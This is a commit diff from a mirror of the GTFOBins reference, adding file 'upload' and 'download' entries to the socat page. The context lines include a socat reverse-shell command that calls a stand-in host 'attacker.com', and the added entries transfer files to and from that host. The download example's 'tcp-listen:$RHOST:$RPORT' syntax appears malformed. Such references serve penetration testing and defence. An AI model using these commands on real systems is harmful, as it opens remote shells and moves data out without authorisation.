1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00

Update socat.md

This commit is contained in:
Maciej Piechota 2019-07-08 17:26:18 +01:00 committed by Andrea Cardaci
parent 89b1753a0d
commit 1f6d44f7a0

View File

@ -23,4 +23,16 @@ functions:
RHOST=attacker.com
RPORT=12345
./socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
upload:
- description: Run ``socat -u file:path tcp:ip:12345`` on the attacker box to send a file to your box.
code: |
RHOST=attacker.com
RPORT=12345
./socat tcp-connect:$RHOST:$RPORT file:path
download:
- description: Run ``socat -u TCP-LISTEN:12345,reuseaddr OPEN:path,creat`` on your box to receive a file from attacker box.
code: |
RHOST=attacker.com
RPORT=12345
./socat tcp-listen:$RHOST:$RPORT,reuseaddr OPEN:path,creat
---